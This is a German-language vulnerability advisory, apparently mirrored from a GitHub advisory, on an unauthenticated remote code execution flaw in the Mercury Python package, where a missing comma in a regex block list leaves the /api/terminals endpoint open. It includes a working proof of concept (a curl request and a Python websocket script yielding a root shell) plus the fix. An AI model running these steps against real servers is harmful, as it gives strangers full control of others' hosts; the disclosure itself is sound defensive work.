Kritisch

Mercury: Nicht authentifizierte Remote-Code-Ausführung in /api/terminals durch Umgehung der Zugriffskontrolle

  • Veröffentlicht: 19.10.2026
  • Aktualisiert: 20.10.2026 09:54

Zusammenfassung

Ein fehlendes Komma in der Liste BLOCKED_PATTERNS von mercury_app/block_handler.py führt dazu, dass die Sperrliste den Endpunkt /api/terminals nicht abdeckt. Dadurch kann jeder nicht authentifizierte Angreifer eine vollständige, interaktive Shell auf Betriebssystemebene auf dem Host starten, auf dem Mercury ausgeführt wird.

Details

Die Sperrliste in mercury_app/block_handler.py ist wie folgt definiert:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Das fehlende Komma zwischen der ersten und der zweiten Zeile führt dazu, dass Python die Regeln zusammenfügt, sodass die tatsächlich blockierte Liste wie folgt aussieht:

/lab...(?:/.*)?/api/terminals(?:/.*)? (die ersten beiden Zeilen zusammengefügt) /api/shutdown(?:/.*)? /files(?:/.*)?

Eine direkte Anfrage an /api/terminals entspricht keiner der Blockierungsregeln von 3 und wird daher nicht blockiert. Sie erreicht die integrierte Terminal-API von Jupyter Server, die eine über eine WebSocket-Verbindung zugängliche echte Betriebssystem-Shell startet. Es ist keine Authentifizierung, kein Konto, keine Sitzung oder ein vorheriger Zugriff auf Mercury erforderlich.

Proof of Concept (PoC)

Die Tests wurden auf einem lokalen Docker-Deployment durchgeführt (https://runmercury.com/deploy/dockerfile/), Mercury-Version 3.2.3, Standardkonfiguration).

Schritt 1 - Terminal starten:

bash
curl -i -X POST http://localhost:8888/api/terminals

Antwort: {"name": "1", "last_activity": "..."}

Schritt 2 - Mit dem Terminal verbinden und Befehle ausführen:

python
python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Beobachtete Ausgabe:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Dies bestätigt den vollständigen, interaktiven Root-Shell-Zugriff ohne jegliche Authentifizierung oder vorherigen Zugriff.

Auswirkungen

  • Vertraulichkeit: Vollständiger Lesezugriff auf jede Datei, auf die der Mercury-Prozess zugreifen kann (Notebooks, hochgeladene Daten, Umgebungsvariablen, Secrets).
  • Integrität: Ein Angreifer kann jede Datei ändern oder löschen, einschließlich der für andere Benutzer bereitgestellten Notebooks.
  • Verfügbarkeit: Ein Angreifer kann den Server/Container herunterfahren oder zum Absturz bringen.
  • Seitliche Bewegung (Lateral Movement): Die Shell kann als Ausgangspunkt genutzt werden, um andere Systeme anzugreifen, die über das Netzwerk des Hosts erreichbar sind.

Ausnutzbar durch jeden Netzwerk-Client, der den Mercury-Server erreichen kann, einschließlich über das öffentliche Internet, wenn dieser ohne zusätzliche Zugriffskontrollen (VPN, Reverse-Proxy-Authentifizierung, Firewall) bereitgestellt wird.

Behebung

Fügen Sie das fehlende Komma hinzu, sodass /api/terminals zu einer eigenständigen Blocklist-Regel wird:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Was zu tun ist

Aktualisieren Sie auf Mercury Version 3.2.4 oder neuer.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) mercury >= 3.0.0, < 3.2.4 3.2.4

Verweise

CVSS-Wert 10/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Schwäche (CWE)
CWE-185, CWE-284
Plattform
Python (PyPI)
Paket
mercury
Veröffentlicht
19.10.2026
Aktualisiert
20.10.2026 09:54

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-f8c7-rwf9-fmgm - CC BY 4.0

Schwachstellenhistorie: mercury

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
10.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2

Veröffentlichungen pro Jahr

  1. 2026: 2
  1. Mercury: Nicht authentifizierte Remote-Code-Ausführung in /api/terminals durch Umgehung der Zugriffskontrolle dieser Eintrag
    Kritisch · 10.0 CVE-2026-111057 >= 3.0.0, < 3.2.4 3.2.4

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.